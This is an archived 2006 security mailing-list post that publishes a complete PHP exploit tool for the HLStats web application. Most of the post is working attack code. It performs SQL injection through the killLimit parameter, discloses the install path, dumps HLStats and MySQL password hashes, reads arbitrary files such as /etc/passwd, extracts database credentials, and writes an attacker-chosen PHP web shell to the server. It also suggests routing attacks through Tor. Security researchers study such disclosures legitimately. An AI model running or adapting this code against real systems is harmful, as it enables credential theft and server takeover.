Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

HLStats Remote SQL Injection Exploit

Subject: HLStats Remote SQL Injection Exploit
Date: 25 Dec 2006 16:56:20 -0000
Hlstats is more than 5 years old.  HLstats has been downloaded more than 
270,000 from http://sf.net.   Nothing more than absolutely benign XSS has been 
reported for this application,  until NOW. 

Merry Christmass,
--Michael Brooks 

Homepage:
http://sourceforge.net/projects/hlstats/

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

<br><b>
<?php
/*
Live Exploit Code
SQL Inection + Path Disclosure
Affects HLStats HLStats <=1.34  and Hlstats >= 1.20
works with magic_quotes_gpc=On
by Michael Brooks
*/

 print "<title>HLStats SQL Injection Exploit</title>
 <body bgcolor='#009900'>
 <font  color='#FF0000'>
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
<center><b> <br>
Welcome To HLstats Exploit code.<br><br>
</b></center> 
<br> 
SQL Inection + Path Disclosure<br>
Affects Hlstats >= 1.20 to HLStats <=1.34(current)<br>
Tested on Linux and Windows<br>
works with magic_quotes_gpc=On!<br>
HLStats has gone though 5 years with no exploits so this is a Birthday 
Present!<br>
Merry Christmass!<br>
By Michael Brooks<br>
<br>
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
";
 
 print "
        <form action='".$_SERVER['PHP_SELF']."' method='post'>
        <b>Target:</b><br>
        <input type='text' name='target' size=32><br>
        (hint: where the login form is. example: 
http://domain.com/path/hlstats.php )<br>
        <br><b>Proxy:</b>(ip:port or name:pass@ip:port)<br>
        <input type='text' name='proxy' size=32><br>
        (example: 127.0.0.1:8118   Use <a href='http://tor.eff.org'>Tor</a>+<a 
href='http://www.privoxy.org/'>Privoxy</a>. )<br>
        <br><br>
        If nothing is changed below this line then the exploit will attempt to 
get the database login information in plain text.
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
        <H1>ATTACKS:</H1>
        <br>
        <b>Database Selects:</b><br>
        <br>
        OBTIAN HLStats logins:<br>
        <input type='submit' name='button' value='HLStats_Logins'>(Passwords 
are stored as MD5 hashs, use: <a 
href='http://www.milw0rm.com/cracker/insert.php'>Milw0rm's MD5 Cracker</a>)<br>
                
                  OBTIAN mysql.user logins:<br>
                <input type='submit' name='button' value='Mysql_Logins'><br>
        <br>

        <br>
        <b>File IO:</b><br><br>
        <b>Path Disclosure</b><br>
        <input type='submit' name='button' value='Path'><br>
        <br>
        <b>Plain Text Database Login Information</b><br>
        <input type='submit' name='button' value='Read_Login'>
        (This will attempt to read the configuration file for hlstats and dump 
the PLAIN TEXT database login information.)<br>
        <br>
        <b>Read Other File</b><br>
        <input type='submit' name='button' value='Read_File'>
        <input type='text' name='read_file' size=50>
        <br>example: /etc/passwd<br>
        OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam<br>
        <br><b>attempt payload:</b>(WARNING,  NO PROXY IS USED FOR UPLOADING 
PAYLOAD)<br>
        <input type='submit'  name='button' value='Upload'>
         &lt?php <input type='text' name='payload' size=50>?&gt <br>
        example: system('netstat'); <br>
        
        </form>
        
<br><b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br>
        ";

 //generic http class
class http{
        var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='';
        
        function http_gpc_send($loc ,$cookie="", $postdata = "") { 
                 //overload function polymorphism between gets and posts
                 $url=parse_url($loc);
                 if(!isset($url['port'])){
                   $url['port']=80;
                }
                //$ua=$_SERVER['HTTP_USER_AGENT'];
                $ua='GPC/.01';
                 if($this->proxy_ip!=''&&$this->proxy_port!=''){
                        $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, 
&$errno, &$errstr, 120 );
                        $url['path']=$url['host'].':'.$url['port'].$url['path'];
                 }else{
                        $fp = fsockopen( $url['host'], $url['port'], &$errno, 
&$errstr, 120 );
                 }
                 
                 if( !$fp ) {
                    print "$errstr ($errno)<br>\nn";
                 } else {
                    if( $postdata=='' ) {
                        fputs( $fp, "GET ".$url['path']."?".$url['query']." 
HTTP/1.1\r\n" );
                    } else {
                        fputs( $fp, "POST ".$url['path']."?".$url['query']." 
HTTP/1.1\r\n" );
                    }
                    
                    if($this->proxy_name!=''&&$this->proxy_pass!=''){
                        fputs($fp, "Proxy-Authorization: Basic 
".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n");
                    }

                    fputs($fp, "Host: ".$url['host'].":".$url['port']."\r\n");
                    fputs( $fp, "User-Agent: ".$ua."\r\n" );
                    fputs( $fp, "Accept: text/plain\r\n" );
                    fputs( $fp,"Connection: Close\r\n" );
                    if($cookie!=''){ 
                        fputs( $fp, "Cookie: ".$cookie."\r\n" );
                    }
                    if( $postdata!='' ) {
                        $strlength = strlen( $postdata );
                        fputs( $fp, "Content-type: 
application/x-www-form-urlencoded\r\n" );
                        fputs( $fp, "Content-length: ".$strlength."\r\n\r\n" );
                        fputs( $fp, $postdata);
                    }
                    fputs( $fp, "\n\n" );
                    
                   $output = "";
                   while( !feof( $fp ) ) {
                        $output .= fgets( $fp, 1024 );
                   }
                    fclose( $fp );
                 }
                 return $output;
        }
        
        function proxy($proxy){ //user:pass@ip:port
                $proxyAuth=explode('@',$proxy);
                if(isset($proxyAuth[1])){
                        $login=explode(':',$proxyAuth[0]);
                        $this->proxy_name=$login[0];
                        $this->proxy_pass=$login[1];
                        
                        $addr=explode(':',$proxyAuth[1]);
                        $this->proxy_ip=$addr[0];
                        $this->proxy_port=$addr[1];
                }else{
                        $addr=explode(':',$proxy);
                        $this->proxy_ip=$addr[0];
                        $this->proxy_port=$addr[1];
                }
        }
        
        function get($url, $cookie=''){
                return $this->http_gpc_send($url, $cookie);
        }

        function post($url, $cookie='', $post=''){
                return $this->http_gpc_send($url,$cookie,$post);
        }
        
        function getServer($url){
                $resp=$this->http_gpc_send($url);
                $header=explode("Server: ",$resp);
                $server=explode("\n",$header[1]);
                return $server[0];
        }
}

//reuseable functions
function getPath($html){
        $path='';
        $resp=explode("array given in <b>",$html);
        if(isset($resp[1])){
                $resp = explode("</b>",$resp[1]);
        }else{
                $resp[0]=false;
        }
        return $resp[0];
}

function charEncode($string){
        $char="char(";
        $size=strlen($string);
        for($x=0;$x<$size;$x++){
                $char.=ord($string[$x]).", ";
        }
        $char[strlen($char)-2]=')%00';
        return $char;
}

function hex_encode($my_string)
{
$encoded="0x";
  for ($k=0; $k<=strlen($my_string)-1; $k++)
  {$temp=dechex(ord($my_string[$k]));
    if (strlen($temp)==1) {$temp="0".$temp;}
    $encoded.=$temp;
  }
  return $encoded;
} 


//hlstats specific functions
function hl_get_sql($resp){
        //print htmlspecialchars($resp);
        $tmp=explode('<table ',$resp);
        array_pop($tmp);
        $last=array_pop($tmp);
        $tbl=explode('</table>',$last);
        $table=$tbl[0];//ITS MY TABLE NOW!
        if(strstr($table,'Victim')&&strstr($table,'Times Killed')){
                $table=str_replace('border=0','border=1',$table);
                $table=str_replace('#002E8A','#000000',$table);
                $table=str_replace('#15154D','#CCCCCC',$table);
                $table=str_replace('#161652','#CCCCCC',$table);
                $table='<table '.$table.'</table>';
        }else{
                $table=false;
        }
        return $table;
}

function get_logins($addr){
        $http=new http();
        $data='';
        
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
        $path=getPath($resp);
        $readfile=hex_encode($path);
        
$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";
        $resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
                
        $tmp=explode("define(&quot;DB_NAME&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[db]=$tmp[0];

        $tmp=explode("define(&quot;DB_USER&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[name]=$tmp[0];
        
        $tmp=explode("define(&quot;DB_PASS&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[pass]=$tmp[0];
        
        $tmp=explode("define(&quot;DB_ADDR&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[addr]=$tmp[0];
        
        $tmp=explode("define(&quot;DB_TYPE&quot;, &quot;",$resp);
        $tmp=explode("&quot;",$tmp[1]);
        $data[type]=$tmp[0];
        
        return $data;
}

//The table prefix is needed to union select the hlstats logins
function get_prefix($attack){
        $prefix=false;
        $http=new http();
        //hex_encode is used instead of quote marks
        
$payload="killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20".hex_encode("%events_playerplayeractions")."%23";
        $resp=$http->post($attack."?mode=playerinfo&player=1",'',$payload);
        $mid=explode('events_playerplayeractions',$resp);
        if(is_array($mid)){
                foreach($mid as $m){
                        $pre= explode('>',$m);
                        $fix=array_pop($pre);
                        if(is_array($prefix)){
                                if(!in_array($fix,$prefix)){
                                        $prefix[]=trim($fix);
                                }
                        }else if($prefix!=$fix){
                                print($fix);
                                $prefix[]=trim($fix);
                        }
                }
                if(is_array($prefix)){
                        $v=array_pop($prefix);
                        if(trim($v)!='0'){//damn that zero!!
                                array_push($prefix,$v);
                        }
                }
        }else{
                $prefix=false;
        }
        return($prefix);
}

if(isset($_REQUEST['target'])&&$_REQUEST['target']!=''){
        //this exploit can take its sweet time. 
        set_time_limit(0);
        $http=new http();
        $addr=explode('?',$_REQUEST['target']);
        $addr=$addr[0];
        if(isset($_REQUEST['proxy'])){
                $http->proxy($_REQUEST['proxy']);
        } 
        
        switch($_REQUEST['button']){
                case 'HLStats_Logins':
                        $table=false;
                        $prefix=get_prefix($addr);
                        //print_r($prefix);
                        foreach($prefix as $pre){
                                if(!$table){
                                        print "trying table prefix:$pre<br>";
                                        //no comments are used in this payload, 
 instead a second union select is used to finnish the query.
                                        
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";
                                        
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
                                        $table=hl_get_sql($resp);//  
                                }
                        }
                        if(!$table&&@!in_array('hlstats_',$prefix)){//ooah no 
the exploit has failed so far. 
                                        $pre="hlstats_";//try the default prefix
                                        print "trying table prefix:$pre<br>";
                                        
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";
                                        
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
                                        $table=hl_get_sql($resp);//             
        
                        }
                        if($table){
                                $table=str_replace('Victim','username',$table);
                                $table=str_replace('Kills per 
Death','playerId',$table);
                                $table=str_replace('Deaths 
by','acclevel',$table);
                                $table=str_replace('Times 
Killed','password',$table);
                                $table=str_replace('Rank','Count',$table);
                                print "<br>$table";
                        }
                        break;
                case 'Mysql_Logins':
                        //a comment is used so the table prefix doesn't have to 
be known;  this is simpler,  less to go wrong.  
                        
$pay="killLimit=1000%20union%20select%20user,password,File_priv,1,Host%20%20from%20mysql.user%20--%20";
                        
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);
                        $table=hl_get_sql($resp);
                        $table=str_replace('Victim','User',$table);
                        $table=str_replace('Kills per Death','Host',$table);
                        $table=str_replace('Deaths by','File_priv',$table);
                        $table=str_replace('Times Killed','Password',$table);
                        $table=str_replace('Rank','Count',$table);
                        print "<br>$table";
                break;
                case 'Read_File':
                        $readfile=hex_encode($_REQUEST[read_file]);
                        
$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";
                        
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);                   
                        $tmp=explode('alt="player.gif"><b>',$resp);
                        $data=explode("</font>",$tmp[1]);
                        $data=$data[0];
                        //this might be a bad thing:
                        $data=preg_replace('<br />','',$data);
                        print 'data'.$data;             
                break;
                case 'Path':
                        
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
                        $path=getPath($resp );
                        print "Path Disclosure:$path<br>";
                break;  
                case 'Read_Login':
                        $data=get_logins($addr);
                        foreach($data as $var=>$val){
                                   $tmp=explode('&quot',$val);
                                        $data[$var]=$tmp[0];
                                        print "<br>".$var.":".$tmp[0];
                        }       
                break;
                case 'Upload':
                        
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");
                        $path=getPath($resp );
                        $data=get_logins($addr);
                        print $path."<br>";
                        $tar=explode('/',$_REQUEST['target']);
                        $paylink=$tar;
                        array_pop($paylink);
                        $paylink=implode('/',$paylink);
                        if(strstr($path,':')){//if windows
                                print "Windows Sytem<br>";
                                $temp=explode('\\',$path);
                        }else{//else *nix
                                print "*nix System<br>";
                                $temp=explode('/',$path);
                        }
                        array_pop($temp);
                        $path=implode('/',$temp);
                        mysql_connect($tar[2],$data[name],$data[pass]) or 
die(mysql_error());
                        $name="data".rand();//rand is used so that this attack 
can be run multiple times.
                        $sql="SELECT '<?php ".$_REQUEST[payload]."?>' INTO 
OUTFILE '$path/$name.php'";
                        print "<br><a href='$paylink/$name.php'><b> Execute 
Payload </b></a>";
                        mysql_query($sql) or die(mysql_error());
                break;
                default:
                        print 'No Attack!';
                break;
        }
}else{
        Print "No Target.";
}
?><br>--------------------------------------------------------------------------------------------------------------------------------------------><br>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (MingW32)

iD8DBQFFi1enhyEDRgETX6IRApvuAJ916+e3HP25HVSaCASKLXdLTTpMRQCfVb5X
B1g0mZ8NVwQ6J7L8J0ge8Ak=
=iZt1
-----END PGP SIGNATURE-----

<Prev in Thread] Current Thread [Next in Thread>
  • HLStats Remote SQL Injection Exploit, nospam <=